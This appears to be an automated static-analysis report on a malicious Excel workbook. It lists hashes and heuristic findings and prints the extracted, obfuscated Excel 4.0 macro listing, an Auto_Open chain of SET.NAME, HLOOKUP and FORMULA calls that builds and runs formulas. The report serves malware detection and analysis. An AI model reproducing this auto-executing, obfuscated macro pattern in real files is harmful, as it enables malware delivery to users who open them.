Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 dd4e331607c2c9e4…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:38:33 Authoring application: Microsoft Excel First seen: 2021-03-01
MD5: c1d5e49987507ddde82c1e6b0a30131e SHA-1: 6f6e72d53d666afd639ca9b3ff7c632b81f52ff3 SHA-256: dd4e331607c2c9e4a192b6b675fd08dfcd31bb69acad0a6f0270800d88e16c03
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6386 bytes
SHA-256: 7fc8663150bf4a9888ca3aca21dd7378e6a148debac698cefd72b80decaecca5
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  eNJK
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!C146 
' 0018     20 LABEL : Cell Value, String Constant - bDqSf len=0 
' 0018     22 LABEL : Cell Value, String Constant - FGXVTyh len=0 
' 0018     27 LABEL : Cell Value, String Constant - iBUZPRYkDAjB len=0 
' 0018     26 LABEL : Cell Value, String Constant - KKCsSGXyqTk len=0 
' 0018     22 LABEL : Cell Value, String Constant - KNPNAVX len=0 
' 0018     27 LABEL : Cell Value, String Constant - LgxhKWkHeUmB len=0 
' 0018     27 LABEL : Cell Value, String Constant - LmBlUaMjuIxP len=0 
' 0018     20 LABEL : Cell Value, String Constant - oRDLz len=0 
' 0018     25 LABEL : Cell Value, String Constant - oWrogvpkvS len=0 
' 0018     25 LABEL : Cell Value, String Constant - PwLubSDcwX len=0 
' 0018     21 LABEL : Cell Value, String Constant - QeEwNi len=0 
' 0018     20 LABEL : Cell Value, String Constant - rOFRi len=0 
' 0018     27 LABEL : Cell Value, String Constant - ScxJHdmcYKfX len=0 
' 0018     22 LABEL : Cell Value, String Constant - sYbicHr len=0 
' 0018     21 LABEL : Cell Value, String Constant - ujexcW len=0 
' 0018     23 LABEL : Cell Value, String Constant - unmXWHHl len=0 
' 0018     27 LABEL : Cell Value, String Constant - UWRZmJrQvtGJ len=0 
' 0018     22 LABEL : Cell Value, String Constant - WkhvrxR len=0 
' 0018     21 LABEL : Cell Value, String Constant - WttISN len=0 
' 0018     23 LABEL : Cell Value, String Constant - ymEHCHcq len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  eNJK,C56,"SET.NAME("rOFRi",VALUE("0"))",""
'  eNJK,C61,"SET.NAME("FGXVTyh",rOFRi)",""
'  eNJK,C64,"SET.NAME("PwLubSDcwX",rOFRi)",""
'  eNJK,C68,"SET.NAME("ujexcW",COUNTA(WkhvrxR))",""
'  eNJK,C70,"SET.NAME("KNPNAVX",COUNTA(LgxhKWkHeUmB))",""
'  eNJK,C74,[],""
'  eNJK,C78,"SET.NAME("QeEwNi","")",""
'  eNJK,C81,"FGXVTyh",""
'  eNJK,C83,"SET.NAME("ScxJHdmcYKfX",HLOOKUP("*",WkhvrxR,FGXVTyh,FALSE))",""
'  eNJK,C87,"UWRZmJrQvtGJ",""
'  eNJK,C91,"SET.NAME("oRDLz",rOFRi)",""
'  eNJK,C93,[],""
'  eNJK,C98,"oRDLz",""
'  eNJK,C100,"ymEHCHcq",""
'  eNJK,C105,"WttISN",""
'  eNJK,C107,"KKCsSGXyqTk",""
'  eNJK,C109,"SET.NAME("iBUZPRYkDAjB",VALUE(HLOOKUP("*",LgxhKWkHeUmB,KKCsSGXyqTk,FALSE)))",""
'  eNJK,C111,"sYbicHr",""
'  eNJK,C114,"QeEwNi",""
'  eNJK,C118,"PwLubSDcwX",""
'  eNJK,C123,NEXT(),""
'  eNJK,C128,"bDqSf",""
'  eNJK,C133,"SET.NAME("f",INT(T(FORMULA(T(QeEwNi)&"",""&T(bDqSf)))))",""
'  eNJK,C135,"LmBlUaMjuIxP",""
'  eNJK,C140,NEXT(),""
'  eNJK,C143,RETURN(),""
'  eNJK,C170,"SET.NAME("oWrogvpkvS",C56)",""
'  eNJK,C173,"WkhvrxR",""
'  eNJK,C177,"SET.NAME("LgxhKWkHeUmB",R76C12)",""
'  eNJK,C181,"SET.NAME("LmBlUaMjuIxP",188)",""
'  eNJK,C183,"SET.NAME("unmXWHHl",3)",""
'  eNJK,C187,oWrogvpkvS(),""
'  eNJK,C188,HALT(),""